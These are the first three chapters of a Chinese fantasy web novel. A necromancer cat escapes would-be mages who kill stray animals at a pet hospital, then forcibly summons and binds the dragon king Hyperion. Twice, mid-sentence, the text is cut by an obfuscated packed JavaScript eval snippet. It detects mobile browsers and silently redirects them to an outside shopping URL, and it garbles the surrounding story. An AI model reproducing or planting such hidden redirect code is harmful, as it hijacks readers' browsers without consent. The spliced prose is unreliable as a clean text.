《猫,你可以召唤亡灵大军》 1. 第 1 章 白炽灯在天花板上发出明亮的光。 地上的白色瓷砖模模糊糊倒映出挂在墙上那幅巨大的标志: 那是一只捧着红色十字的柴犬。 暖橘色的小狗开心地咧开嘴,吐着舌头,憨笑地俯视房间里的一切,模样憨态可掬。 显然,这里是一家祥和的宠物医院。 “砰!” 猛地一下,一只脏兮兮的小狗像是只空易拉罐般被毫不留情,愤恨地踢到一边。 那具小小的身体宛如一只漏了气的皮球,无力又顺从地贴着地上滑行了一段,艰难地滚了几圈,滚到另一条了无声息的尾巴旁,便彻底不动了。 毛茸茸的身躯犹带余温,但很快,它就会变得和身旁那些前辈们一样。 就在它身旁,一座由小动物垒成的小山沉默地矗立着。 形态各异的猫猫狗狗们大张着无神暗淡的双眼,直勾勾地望向虚空中的一点,有些嘴巴僵直地张开,舌头从其中吐出好长的一条,直直垂到冰冷的地面或是其他同胞们死寂的身上。 “又失败了……” 穿着白大褂的男人咬牙。 他深深蹙紧眉头,以至于在眉心留下刻痕,配上他脸上那高耸的鹰钩鼻,神情显得格外阴鸷。 “记载中明明就是这么操作的,为什么召唤不了?!” “一定是哪里出错了……不,让我再试一次!” 男人口中不断来回重复着,回头望向空荡荡的笼子。 在下一瞬,他眼神蓦地一凝,顿时变得如秃鹫般阴狠,濒临爆发地低吼: “没了?!材料耗尽了怎么接着做实验?!!” 旁边的人闻言随意地朝相同的方向瞥了一眼,见笼子角落还蜷缩着一只毛茸茸的黑团,不在意地接话道: “这不是还有一只吗,用完这只今天就先到这里吧。” “我们有的是资源,耐心点,实验总会成功的。” 低吼的男人胸口不断起伏,他吐出一口浊气,勉强压下了心中的烦躁。 是的,是的。 他们掌握的方法不会有错,现在他们需要的只是不停地实验,直至成功。 虽然被迫放弃了原本的根基来到异国他乡,但不管怎么说,与之前相比,至少这里的实验素材充足,要多少有多少。 靠着他们在此地开设的这家号称有西方先进理念和技术的宠物医院,不说周围的流浪动物随随便便就能弄来一大把,就是嫌弃抓动物麻烦,直接去其他救助中心接收一批也十分容易。 他只需要耐心……耐心…… “该死!”男人犹不甘心,发泄地一手捶向身侧墙壁, “要不是人类的传承遗失,实力大减,让那群下贱的魔法生物骑到了人类头上,掌控了魔法界的话语权,我怎么会跑到这来?!” 旁边的人听乐了:“谁家不是呢……” 周围眼珠子颜色各异,面目深邃的人们登时因为这个话题聚拢过来,七嘴八舌地大肆谈论起各家的历史, 谁谁家以前是有名的魔法师,谁谁家曾经专门服侍皇室,某某魔法生物放在以前只配给自家拉车,说着说着,表情纷纷变得唏嘘,顾影自怜起来。 谈上性头的他们谁都没有注意到,铁笼里,那团小小的黑色毛团微微动了一下。 莫特默就是在这个时候醒来的。 奇怪的刺鼻味道,以及各种动物分泌并散发出的,蕴含着不安、惊恐,以及极度紧张等情绪的复杂气味极具穿透力地冲入他的鼻腔,像是一枚气味炸弹,将他的大脑冲击成一团浆糊。 莫特默艰难地喘息了几下。 不知怎么,他现在身上沉重得活像是连夜奔袭了50公里,四肢软绵绵得抬不起来,恨不得小猫尾巴一翘,嘎嘣一下就直挺挺地躺在地。 周围的声音也像是隔着一层墙壁般隐约且模糊,听不清还吵得猫头疼,脑袋里更是浑噩眩晕得像是被转了108圈,什么东南西北根本分不清。 ……怎么回事? 莫特默晕头转向,但还是努力分辨起周遭的情况。 坚硬的铁制栏杆贴着他的身体,陷进毛毛里,嚣张地咯着柔软的腹部,爪子下的铁皮冰得小猫屁股一个哆嗦。 感知的回归让莫特默浑身一个机灵,大脑顿时清明了不少,他藏在身下的尾巴尖本能地抽出,露出其和背上截然不同的白色,不爽地摆动起来。 他的垫子呢?他原本那只采用天翼族翅膀根最柔软的绒毛为内芯,幼年独角兽鬃毛作线编制而成的专供垫子呢?! 是谁将尊贵的小猫陛下从他的奢华软垫上挪开,改放到了大铁皮上? 这简直是 欺猫啦——!!! 莫特默挂起小猫批脸,尾巴上的毛微微炸开,下一秒就要猫目圆睁,尽显威严。 胆敢做出这种事来,罪大恶极,罪该万死,罪不容诛! 看他不—— 倏地,莫特默的眼也不睁了,尾巴毛也不炸了,更别提当场蹦起狠狠审判冒犯者。 莫特默陷入沉思。 emm…… 等等,空气中……无处不在的魔力因子呢? 他体内储藏的魔力呢? 他的使魔,他的仆人呢??? 那么多,他怎么全——都感知不到了!?!? 莫特默:…… 这下莫特默真的有些麻爪了。 他默默地将下巴搭在爪子上,将抽出的尾巴尖重新收回腹下,藏好所有白毛毛,装出一副自己从未清醒过的模样。 他到底在哪?不会是一不小心滑铁卢被关进什么禁魔领域了吧? 莫特默有些怀疑猫生。 但不应该啊,他原本有那么多仆人在周围,他的小窝也被打造得铁桶一般,就他所知,这世上能无声无息将他转移走,还把他关起来的,根本不存在。 到底发生了什…… 莫特默头顶一边的耳朵一抖。 ……他想起来了! 他记得,他醒来前是在进行一项前所未有的魔法实验。 为了实验的成功,他前前后后抢…啊不,是收集了很多提高实验成功率的素材,还窃……他是说,好心收留了一只龙巢里不要的财宝。 但这都不重要!重要的是实验非常顺利,就在他喜滋滋地欣赏成果时,一股巨大的吸力忽然传来。 再之后…… 他就什么也不知道了。 莫特默双耳纳闷地向脑后折去。 糟糕,难道他的魔法没有成功,而是失败了? 现在这样就是由那场魔法造成的意外? “呵,梦魇算什么?” 距离笼子不远处侃侃而谈的声音再次传入莫特默的耳朵。 这一次,莫特默听清楚了他们在讲什么。 “要我说,龙才是最适合当使魔的魔法生物。” 此话一出,像是按下了什么开关,刚才还在不停侃侃而谈的人群静了下来。 ……龙。 光是提到这个词,脑海里便会不由自主地浮现出那具庞大得如同移动山峰般的身躯,紧密排列的鳞片,尖锐锋利到只要轻轻一挥,就能撕裂钢铁,更不要说脆弱的血肉之躯的利爪,粗壮而有力,展开时遮天蔽日的翅膀,狰狞的牙齿和那森然威严的竖瞳。 这是单凭蛮力,也能随手摧毁一整座人类城池的魔法生物。 天空的霸主,魔法的克星,最原始的力量化身——巨龙。 几个呼吸后也没有人对此接话,原本热火朝天的气氛平白地就此冷却了下来。 龙……谁不知道龙的强大? 光是想想龙作为使魔的可能性就让人呼吸变粗,心跳加快,可即便勇者斗恶龙的故事经久不衰,耳熟能详,他们也从没有听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021767|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过有人真的能单枪匹马打败一条龙,并将其契约成使魔的事。 将龙奴役为仆从已经不是吹牛或说大话的程度,这是在痴人说梦,旁若无人地发痴发疯! 开口那人明显也意识到了周围人的冷场,他却不以为意地笑了笑,像是对此早有准备:“我知道契约一条龙很难,但……” “活的不行,” 他觑向周围动物的尸体,眼神暗示意味浓厚, “死了的呢?” 言毕,那些在龙被提起时下意识保持缄默的人顿时呼吸都乱了一下。 他们都知道为什么他们会来到这里,对方提出的也不是不可能实现,可要想实现那人刚刚所说的话,其必要条件之一就是…… 另一人忍不住开口:“你这么说,难道……?” 男人像是早就预料到了这个问题,慢条斯理地从领口掏出自己挂在胸前的一只纯金怀表。 在所有人默不作声的紧紧注视下,他轻轻摁向怀表的某一处,后盖随之弹出。 而在那金色的怀表后盖之中,一枚红宝石般的薄片正静静躺在那里。 “这、这是!!”出声的人像是被掐住了脖子般,面色涨红。 男人托着怀表,嘴角缓缓上扬,此时才露出志得意满的笑容: “不不,我亲爱的朋友们,这可不仅仅是普通的龙鳞。” “它来自……”他语气停顿了一下,像是脑海中下意识浮现了什么,害怕惊扰到那沉睡的巨兽,情不自禁地放轻了声音,一字一句道, “传说中的赤鳞暴君,众龙之王,红王亥伯龙!” “……” “你疯了……” 人类激动的声音听起来实在有些刺耳,莫特默小幅度嫌弃地别开脑袋。 听起来这群人类似乎是一群死灵法师学徒,还是一群拙劣得连最低级的骷髅兵都召唤不出来的那种。 连骷髅兵都召唤不出,还想着越级召唤幽灵龙? 况且,即便有作为必要条件的媒介,也不代表一定能召唤出对应的死灵,这是亡灵法师的基础常识吧? 至于他们口中所说的那个亥伯龙,更是听都没听过。 ……他到底到哪来了? 但怎么说,这些都与他无关,他现在首要的是先恢复体力,离开这…… 一只手猝然打开铁笼的门,一把掐住莫特默的脖子,将他从笼子里提起。 “等我成功掌握了死灵召唤魔法召唤出龙,我就把那些眼高于顶的魔法生物全杀了,一个个契约!” 男人得意地笑着,似是想到了那美好的愿景,掐着小猫脖子的手愈发用力。 被强行拎起的猫虚弱地睁开眼,泄露出其灿金色的瞳膜,在白炽灯的下闪烁着奇异的光。 男人这才发觉,手上的原来不是一只黑猫,而是一只胸口,肚皮,四爪以及尾巴尖雪白,眼睛上还有两个形似豆眉的白色圆点的奶牛猫。 和其他脏兮兮的流浪猫不同,这只幸运地被留到最后的奶牛猫看起来格外干净可爱, 如果他们真是一家充满爱心的宠物医院,要给流浪猫找领养,这只品相过于良好的猫即使不是什么品种猫,估计也会被抢破了头。 一丝奇怪的违和感在男人心底划过,但很快又被他漫不经心地忽视。 不过是一只畜生,品相再好,也都只是他用来实验的素材罢了。 他的手继续用力,猫纤细的脖子在他的大手下显得如此脆弱,随着他力道不断加大,奶牛猫看上去愈发呼吸不畅,很快,就要被他当场活生生掐死! 就如他想的一样,生命即将迎来终结的奶牛猫金色的眼睛半阖起来,浑身的力也逐渐卸下,身体在半空中摇摇欲坠。 下一秒, “啊啊啊啊!!!” 惨叫声刺破空气。 三条血淋淋的抓痕赫然出现在男人的脸上! 2. 第 2 章 猝不及防的剧痛让男人下意识一把甩开手中的猫,转而摸向火辣辣作痛的脸。 来自指尖的湿润感和被触碰到伤口的刺痛同时传来,男人触电般挪开手,见到自己手上的猩红,神色立马变得如恶鬼般恐怖。 “你个畜牲竟敢?!!” 在短暂的惊愕和疼痛后,男人心中的情绪迅速转为强烈的愤怒与羞恼。 周围虽然没有作声,但眼中投过来隐隐带着打量和嘲笑意味的视线更是在他的内心添上了一把火。 上一秒还在侃侃而谈操纵传说中的巨龙作为他的仆役, 下一秒却毫无防备地被一只低贱的野猫抓花了脸,还要被周围的人看笑话,这种落差感和羞辱性几乎是极致的。 而且仿佛是在刻意与他作对,那只抓伤了他的猫被他甩开后,一个翻身就稳稳当当落地,姿态端坐地正坐在他面前,当着他的面悠闲地舔着爪背,与满脸鲜血的他形成鲜明的对比。 面对他的大喊大叫,那只猫停下动作抬起脑袋,不悦地直视他,就像是听懂了他的话般。 这举动在男人眼中无疑是一种挑衅。 不过是一只猫!他只要一脚,就能让其轻则骨骼破碎,内脏出血,重则一下毙命,它凭什么用这种眼神—— 说是迟那时快! 一道黑影闪过,伴随着“砰!”的一声闷响,还有“叮”的一声。 接着就是慢了半拍又一声的痛叫, “啊——!!!” 男人重心不稳地向后仰倒,在重力的作用下直接一屁股坐在地上,尾椎狠狠砸在坚硬的瓷砖地,而莫特默就站在他的头顶。 随着男人猛地一下坐倒在地,被他捏在手心的怀表同时脱手而出,一同摔在地上。 怀表在瓷砖地上不规则地弹跳着滚了几圈,不知是碰到了哪里,在其停下后,后盖竟自动弹出。 其中宝石般的红色鳞片随之暴露在所有人的视线之下,在灯光下反射出绚烂的火彩,闪烁着极度诱人的光泽。 见状,男人顾不得自己尾椎的剧痛,甚至顾不得头上的莫特默以及自己丢的脸,就想爬起来,用尽全身的力气即使是连滚带爬,也要去将那枚怀表,不,是那枚无比珍贵的龙鳞收回! 然而,他的想法注定要落空。 就在其他围观的人下意识拔腿冲来想要将龙鳞拾起的瞬间; 就在怀表的主人爬伏在地,身体因疼痛而微微颤抖,却仍极力伸手去勾他的怀表,并指尖成功触碰到怀表,露出失而复得的狂喜表情时, 众目睽睽之下,那枚红鳞被一个黑白配色的身影覆盖。 似是注意到众人的视线,莫特默高高翘着尾巴,口中叼着璀璨龙鳞,炫耀战利品般,缓缓朝众人回头。 莫特默:OωO? 怎么?被猫捡到,就是猫的辣!(确信) 一秒,两秒…… 刹那间,如是凝固的时间重新恢复流动—— “龙鳞被猫叼走了?!” “把龙鳞还回给我,你这个小偷!!” “快将那畜牲抓住!!” 不同声线的声音交织在一起,激动而驳杂,与此同时,声音的主人们齐齐朝莫特默涌来。 而为了最先靠近莫特默,无数双无情的大脚碾在了正好拦在路上的男人的手上。 惨叫声被掩盖在众人兴奋的呼吸与呼喊中,无人在意。 “该死的,这猫怎么这么会逃?!” “砰!”大张着双臂,从两面包夹的两个人正好撞在了一起。 “就差一点!!” “啊啊啊瞎了吗,你做什么!!”举着网兜的男人将网兜罩上了另一个人的头上。 “好猫,好猫,过来我这里!” “滚开,别碍事!”男人一把推开拦在路上,举着麻醉剂试图诱劝莫特默的另一个人。 宠物医院里的这一个小小的房间内,一时间各种撞击声,咒骂声交汇,霹雳哐啷的,声势浩大,热闹非凡, 可仔细看去,那只被多方围捕的奶牛猫虽然左躲右闪,似乎被包围得无处可逃,但分明一根猫毛都没掉,徒留那些追捕者们在屁股后面吃猫屁。 “我们这么多人,抓不住一只猫?!”不知是谁气急地脱口而出。 话语刚落,所有人的动作都顿了顿。 这句话似乎瞬间点醒了在场的所有人,众人发热的大脑开始降温,终于意识到不对。 那个被猫抓了一脸的也罢,怎么他们也这么狼狈? “行了,这场闹剧也该到此为止了。” “伙计们,”其中一人率先停下脚步,他揉了揉眉心,环视了一圈周围其它的人,原本急躁的气息渐渐变为游刃有余,似是感到好笑般嘴角噙上一抹笑意,摇头道, “别忘了我们的身份。” “虽然有些大材小用,但我们本就不该像普通人那样,” 他嗤笑着,望向那因其他人的动作停下也一并停在原地,左右张望,浑然不知大难临头奶牛猫,抬手。 他们也是昏了头了,这么去追一只畜生,完全忘了…… 他们,可是所谓的魔法师! “一只猫,只要用魔法,很快就——” “啊啊啊啊!!!” “见鬼这是什么?!!!”刚刚还叫嚣着要用魔法的男人惊恐大叫,风度全无。 但这也不怪他,毕竟 一只狗正死死咬住男人的右腿,利齿陷入皮肉,血从它的口中喷出,很快染红了那一片裤腿,无论男人怎么甩腿,痛击狗头也不松口。 但更重要的是,男人,或者说在场的所有人都“认识”这只狗。 这明明是刚刚那场失败实验中所用的流浪狗! 他们确信那只没有的畜生已经死得不能再死,可眼下,对方竟重新活动了起来?! 它的眼眸依旧浑浊,身躯依旧僵硬,浑身散发着一股灰败的死气,可就是动了起来,就像是……就像是变成了僵尸?! 面对这反常,未知的一幕,所有人的内心都涌现出一股恐惧。 就在他们快要联想到什么时,那座由被丢弃的动物尸体组成的小山无端动弹起来。 死去的猫狗们摇摇晃晃滚下尸山,扭曲爬行着,冲向离自己最近的人类。 不一会儿,周遭变得一片混乱。 莫特默端坐在原地欣赏着自己造成的混乱,一边的嘴角勾起,露出一颗小尖牙。 魔法?巧了,他也会~ 虽然储存好的魔力被一键清空了,但依靠他刚刚拖延时间恢复的量,这种程度还是做得到的。 “啊——!你不要过来!” “我的上帝!!有谁来救救我!” “sxxt!我的攻击不起作用!” 很快,莫特默感到无趣,他最后瞥了一眼吱哇乱叫的人们,自若地穿过已经无暇顾及他的人群,来到此处唯一的进出口,一个大跳摁开门把手,就若无其事地挤出门缝。 白色的走廊映入眼帘,地板倒映出莫特默粉色的肉垫,莫特默在走廊上溜达了一小段,困惑重新绕上心头。 这里所有的房间和布局全都大同小异,没有感知到此地有任何其他的仆从或守卫,而房间里除了一些看不明白的仪器,也浑然不见任何常见的魔法材料,这些人……就这样研究魔法的吗? 可明明是在这么坚固精良的建筑里? 想着,莫特默抬头望向墙上那面90%由毫无瑕疵的玻璃组成的窗户。 月亮在窗外的天空上高悬,通过这扇从未见过的窗,莫特默能清晰地看清飘过月亮的云朵形状。 他架轻路熟地跳上窗沿,拧开窗户的开关,纵身一跃,跳出了这座建筑。 下一瞬, “哔哔——叭叭——” “来一来,看一看,新鲜的羊肉串~” “哈哈哈,你听说了吗?那天……” 嘈杂的声音传入耳膜,夜风夹杂着各种复杂的气味吹来。 五光十色的灯光险些闪花莫特默的眼睛,一座座高耸入云的钢铁巨塔上闪着光,彩色的投影在其上变换,路上奇怪的大铁疙瘩有序地拍着队,睁着发光的眼睛,偶尔发出“哔哔叭叭”的声音。 而就在他不远处,大量的人类在路上聚集,成群结队地走着,隔着一段距离,有人类的商贩在叫卖食物。 人类似乎和那些比他们大了有数倍的机械造物之间相处和谐,没有一人觉得不适,在钢铁的包围下自在地与同类笑谈。 莫特默惊呆了。 他从没见过有这样拥有庞大铁皮,还会发光的东西,这么大的人类聚集地,这样眼花缭乱的地方。 一切都显得那么新鲜与陌生。 莫特默小小的大脑飞速运转,无数念头充斥着他的大脑:他怎么从没听说过这样的地方?那些铁皮是什么?他们会攻击他吗?怎么没见到其他种族?…… 以及最重要的—— 在这陌生之地,他需要一个仆从! 现在!立刻!马上! 莫特默不动声色地观察周围的环境,压低身子,强行拖着疲惫的身体化作一道黑影钻入周围人类看不见的阴影处,没有引起任何人的注意。 …… 马路一旁的静谧草丛中,其中一丛草垛耸动了一下,蓦地冒出一双黑色的猫耳朵。 莫特默鬼鬼祟祟地在草丛中移动,穿过马路旁的草丛以及挨着草丛的一面铁质栅栏,成功来到了一片无人的偏僻区域。 这里和街道上热闹与光彩夺目的场景截然相反,没有灯光的指引,只靠月光和还未彻底漆黑的天色照亮了此地的地面,地上杂草丛生,堆着一个个小沙丘,不远处,一座满是窟窿的钢铁巨兽用漏着风的百眼注视着这方土地。 看上去这里已经被遗忘已久,没有任何生物踏足。 莫特默的脚步很轻,透着慎重的警惕和防备。 这里是墓地? 但莫特默没有感知到熟悉的死亡气息。 那这片场所为什么会如此荒凉破败? 醒来后遇到种种不符合常理的诡异之事在脑海中叠加,在此刻让莫特默的危机感达到顶峰, 虽然不明缘由,但这应该会是一处不会引人注意,方便他召唤仆从的场所。 莫特默下定决心,往钢铁巨兽的内部走去。 在一片被月光笼罩的水泥地上,莫特默在画好的法阵中心放下龙鳞。 连接和媒介已经准备好,现在只需要进行最后一步。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021768|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>莫特默后退一步,凝视那片龙鳞,在心中默念起已经施行过千百次,以至于滚瓜乱熟的咒语。 魔力在体内翻涌,渐渐地,莫特默四肢泛起久违又熟悉的酸痛感。 莫特默吃惊地抖了下胡须。 猫知道,他有多久没体会过被抽魔力抽到肌肉抽搐作痛了? 他忍耐着不适,心中反而高兴起来。 这种程度的魔力汲取代表着召唤物在反抗,同时也代表着…… 看来那个吹嘘的人类嘴里也有些真话的嘛,这个仆从说不定比他之前想象的要强一点! 众所周知,在死灵魔法通过媒介召唤死灵时,就相当于建立了一条定向连接彼此之间的通道,并用魔力作报酬达成将其驱使的契约,通常来说,索取的报酬(魔力)越多,被召唤者也就越强。 -灵魂歇息之地,永眠殿堂- 亥伯龙不耐地睁开眼。 ……死灵法师? 竟然会有胆大包天的死灵法师妄图契约他? 他眼底划过一道嗤笑,重新闭上眼。 “唔。”莫特默小小闷哼一下。 他身体内部猛地刺痛,法阵发出的光像是坏掉的信号灯,闪烁起来。 在死灵魔法的契约中,如果死灵法师无法提供相应的报酬(魔力),契约自然无法达成,并且如果被死灵不愿且排斥被召唤,那么契约的代价以及难度将会几何倍增地增加,到那时,死灵法师不但投入了大量魔力还将召唤失败。 月光下的召唤法阵毫无节制,贪婪地吞噬、抽取着莫特默的魔力,俨然要将莫特默猫猫抽成猫干。 再这么抽下去,如果莫特默的魔力枯竭法阵还不停止,他们之间的连接会转而抽取莫特默的生命进行代替, 再接下来,如果连生命也无法补足给予死灵的报酬,等待死灵法师的只有一死! 对于死灵法师而言,现在最好的决定就是强行切断终止魔法,放弃这次召唤,虽然会遭到反噬,但至少留下了一命。 对于这超出预想的召唤,处在陌生之地又魔力匮乏的莫特默自然应该选择放弃,之后等魔力充足了再寻机会,这是最好的…… ——但是,他拒绝! 莫特默愉悦地用爪子按住法阵。 种种现象都说明了这是一场必败的召唤,然而—— 真的吗? 在死灵召唤魔法中,还有一种情况: 如果死灵法师支付了远远超量的报酬,那么这场“交易”就会无视死灵的意愿,强行达成契约!死灵法师支付得越多,来自契约的力量就越蛮横。 也就是所谓的—— 强买强卖! 这是独属于死灵法师与强大死灵之间的博弈与对赌,如拔河般,只要死灵法师能在死亡前利用这则规则强行将其“拉过来”,那么契约就会达成。 莫特默的双眼在黑暗中发出跃跃欲试的光: “来!” 亥伯龙:! 他脸上恒久的平静终于被打破,惊愕地抬眸。 紧接着,一股与之前截然不同,巨大的力一把拽住毫无防备的他。 什…?! 法阵发出稳定而明亮的红光,大量的雾气从法阵中逸散开来,淹没了莫特默的身影,也淹没了他洋洋得意翘起的尾巴。 而在雾气中心,一个人影在其后影影绰绰。 “找到你了!” 倏地,一个充满恨意的声音响起,带着细微的得意。 “你以为你躲到烂尾楼我就找不到?!那枚龙鳞上可是有着我祖先铭刻下的追踪魔法,你逃到哪儿都逃不过我的手心!” 脸上还残留着三道血痕的男人拦在房间的入口处,恶狠狠地扫视浓雾,想在其中找到莫特默的身影。 怀表主人追到了这里! 没找到自己想要的目标,男人先发现到了雾气后若有若无的人影,立马语气不善道: “你是谁?我警告你,那枚龙鳞可不是你可以肖想的东西!” 一边说着,他一边气势汹汹朝那人影冲来,就怕被在场的另一人先一步夺走了龙鳞。 “告诉你,我可是斯雷德家的继……” “嘎嘣。” 一声细微而清脆的声音打断了男人的话。 世界一下子安静了。 一只巨手不知何时掐在男人刚刚还在发声的脖子上,将其高高提起,动作看上去毫不费力。 而男人再也不能发出声音了。 ——他死了。 “呼……” “聒噪。”一道不悦而低沉的声音从雾后传来。 那只手松开,男人的尸体随即软倒在地,发出“咚”的一声。 “古龙王亥伯龙,应召唤而来。” 一只鞋子无动于衷地踩过地上的尸体,富有磁性的男声不紧不慢地问道, “你就是将我唤醒的死灵法师吗?” 似是嫌那雾气碍事,自称亥伯龙的男人随手一挥,一只充满压迫的暗金色竖瞳随之在雾的间隙中显现。 那只眼微微一动,随即如锁定猎物般精准转向莫特默。 接着,瞳孔微缩。 亥伯龙眼神厌恶又居高临下地说: “去死。” 3. 第 3 章 那只曾瞬间将男人像是捏死一只小虫子般碾死的手朝莫特默暴闪而至! 亥伯龙的大脑被暴怒与冷静两种不同的情绪同时充斥着。 他竟被一名死灵法师冷不丁强行契约了? 真是好胆。他都想夸夸对方了。 但。 亥伯龙嘴边扯开一个狞笑,露出唇边尖锐的犬齿。 这个世界上,还没有任何生灵能驾临在他之上,成为他的主人! “亡灵法师,想好你的遗言了吗?” 作为对胆敢召唤他的回敬,他会好好聆听对方临死前的悲鸣。 亥伯龙的动作快如闪电,毫不迟疑。 即使召唤者死亡,他也会重新回到那间漆黑的牢笼? 嗤! 就在他的手要碰到那藏在雾后的身影时—— 忽然一阵风袭来,吹散了弥漫在此地的雾气。 在明亮的月光下,亥伯龙看清了那名死灵法师的模样。 那是一只……耳朵尖尖,毛发蓬松,有着粉色鼻子和水润金色瞳孔的生物。 对方乖巧地并着两只白手套般的前肢站在那,昂着头好奇地望着他,圆润的瞳孔在轻柔的月光下发射出宛如金币般的惑人光芒。 亥伯龙:…… 亥伯龙的手倏地停在半空。 那只形貌娇小可爱,但依旧难掩对方到底是什么的死灵法师,像是不明白亥伯龙为什么要这么盯着他,疑惑地抖了下耳朵,蓬松的毛发在微风中飘拂。 亥伯龙的心重重一跳,只觉内心那燃烧着仿佛要燎尽一切,破坏一切的怒火猛地被下了一场大雨,淋了他一头。 荒缪感一时间盖过了被强行召唤后升腾起的暴戾。 ……他知道这种生物。 小小的,柔软的,叫声细细的。 虽然拥有属于捕猎者的利爪,可那稚嫩的爪子拼尽全力也无法在龙的鳞片上留下任何细小的痕迹。 即便偶尔会向其他物种旁祈食,也绝不会主动靠近他这种气息恐怖的顶端猎食者。 只要他一出现,不是立刻惊慌地逃窜,就是怪模怪样地朝他哈气进行无谓的防御。 弱小得可怜,又无能得可笑。 而这个物种,通常被称为…… “召唤我的……”亥伯龙垂下手,面色复杂,“是一只猫?” 莫特默挑剔地打量着被他召唤出来的仆从,从对方那一身缀满宝石的华丽衣袍,青筋微微凸起的紧实小臂,到对方衣襟中肆意暴露出来的,鼓鼓的如同雕刻般的肌肉。 他的视线顿了顿,继续往上。 一头醒目的,烈焰般红色长卷发搭在对方的胸膛上,发梢张牙舞爪地向外翘起,透露出一种不羁的野性,而一双与那头肆意红发相称的暗金瞳孔正直勾勾地俯视着他。 对方眉眼间难掩桀骜,面容高鼻深目,英俊浓烈,眼神凌厉又直接。 莫特默心中勉强点了点头,认可了对方作为仆从的资格,就听到对方的质问。 莫特默:? 怎么,召唤者是他,不满意? “注意你的言辞,龙!”莫特默傲慢地抬起他的小下巴。 他接着又挺起雪白又毛茸茸的小胸膛,掷地有声道: “我可是有机会成为有史以来最出色,最邪恶的亡灵法师的喵!” 说完,莫特默竖起耳朵,得意地等待对方的反应。 喵喵,没想到自己能被召唤吧?像他这么厉害的死灵法师,恐怕对方见都没见过。 要不是他现人生地不熟,再加上缺乏魔力,别说一头龙,就是一个亡灵大军也不再话下! 龙,臣服在猫爪下吧! 莫特默邪魅一笑。 半晌,又一阵风刮过,通风口外地上的杂草发出簌簌声。 本该给出回应的龙既没有发出惊叹的声音,也没有当场为自己之前的失礼进行忏悔。 莫特默眉头一皱,发现事情并不简单,顿时凝神朝他沉默寡言的仆从看去。 只见亥伯龙一只手盖在脸上,久久不言,不知在想什么。 莫特默顿时不满地跺了跺爪,提醒对方不要发呆。 亥伯龙深深吐出一口气,如愿给出了反应。 他语气虽然依然不驯,但较之前充满露骨的杀意明显已经缓和了很多:“解除契约。” 他放下盖在脸上的手,朝莫特默似是驱赶,又似是打发般摆了摆,眼神中透露出一丝不耐,再次命令道: “将我们之间的契约解除。” “不要。”莫特默毫不犹豫。 “不然宰了你。”亥伯龙语气漠然地随口补充。 两道不同的声音重叠在一起,两秒后,双方的大脑才同时接收到对方刚刚都说了什么。 莫特默迷惑地回视亥伯龙,像是不理解他在说什么。 亥伯龙先是一愣,随后定定地看向莫特默,缓缓开口:“哦?你确定?” 话音刚落, “不要!” 莫特默以一种更加不假思索的口气拒绝道。 刹那间,恐怖的压力在此地扩散开来。 不知何时,一片飘来的云朵遮住了大半月亮,大片的阴影覆盖住废弃工地的草地,无灯光的毛坯房内变得昏暗一片。 黑暗的房间中,一龙一猫沉默地站立着。 竖瞳的龙瞳如摇曳的灯芯在黑暗中发着光,阴鸷的怒火和暴烈重新点燃了那双眼眸,并即将点燃任何直面他的人。 “呵,玩弄操纵死者的灵魂让你很得意啊。” “死、灵、法、师。” 亥伯龙垂眸俯视莫特默,咬碎骨头般咀嚼着这个词。 “你认为,仅凭这个……”他勾起一抹极具恶意的笑, “主从契约,你就可以任意施为,让我成为你的傀儡?” 莫特默眨了下眼,张口…… “轰——!” 刹那间,震耳欲聋的撞击声在地面上炸开! 沙石溅起,混凝土龟裂,地下的钢筋结构暴露出来,埋在底下的管子爆裂开,锋利的碎片在空气中洋洋洒洒。 巨大的烟尘间,一条猩红的鳞尾慢悠悠滑动回亥伯龙的脚边。 亥伯龙冷淡地凝视着他刚刚造成的破坏,在他的身后,粗壮尾巴漫不经心地摆动,仿佛还在享受刚才那场破坏带来的快感。 人类智慧的结晶之一,钢筋,在亥伯龙面前显得如此不堪一击,仿佛孩童手中的玩具,被轻而易举地被一尾巴拍断,崩裂。 而莫特默原本的所在之地已然变成一个巨大的坑洞。 就在那短短的瞬间,亥伯龙用龙尾袭击了莫特默,一出手,就是杀招。 可惜…… 亥伯龙转头望向墙上的那处方形通风口。 在那里,莫特默蹲坐在没有窗的窗沿上,眸光幽幽地与亥伯龙对视。 亥伯龙嘴边的笑意愈发讥讽。 在他即将击中莫特默的千钧一发之际,莫特默竟像是提前预知到了般,巧妙地避开了这致命的一击,跳到了别处。 站在那,是想要从那向外逃吗? 那就尽管逃吧。 风拂过亥伯龙的身躯,他的耳边仿佛听到了血液奔涌的声音,尾巴跃跃欲试,直到现在,他才有重新活过来,重新来到这人世间的感觉。 这就是死灵召唤魔法吗? 魔力填充着他的灵魂,治愈他肉.体上遗留的创伤,将一切的时光倒流,让他仿佛重新回到那肆意的巅峰时期。 几百?还是几千年了,他的灵魂在永眠殿堂那冰冷、寂静的空间呆得快要生锈。 现在……重新站在这片大地上。 亥伯龙慢慢握拳,清晰地感知到自己的肌肉在收紧,骨头缝在发痒。 ——他想尝尝血的滋味。 亥伯龙舔了下犬齿,尖锐的牙齿在舌尖上划过,带来一丝微微的刺痛,本性中的凶性仿佛就此一块苏醒。 一切都是那么久违又鲜活。 亥伯龙畅快地吐出一口气息,炙热的温度从喉间溢出,随着呼气在空气中变为一缕白雾,又渐渐被冷空气裹挟着消散。 而在他视线的最中心,被瞄准的猎物此时像是吓呆了般一动不动。 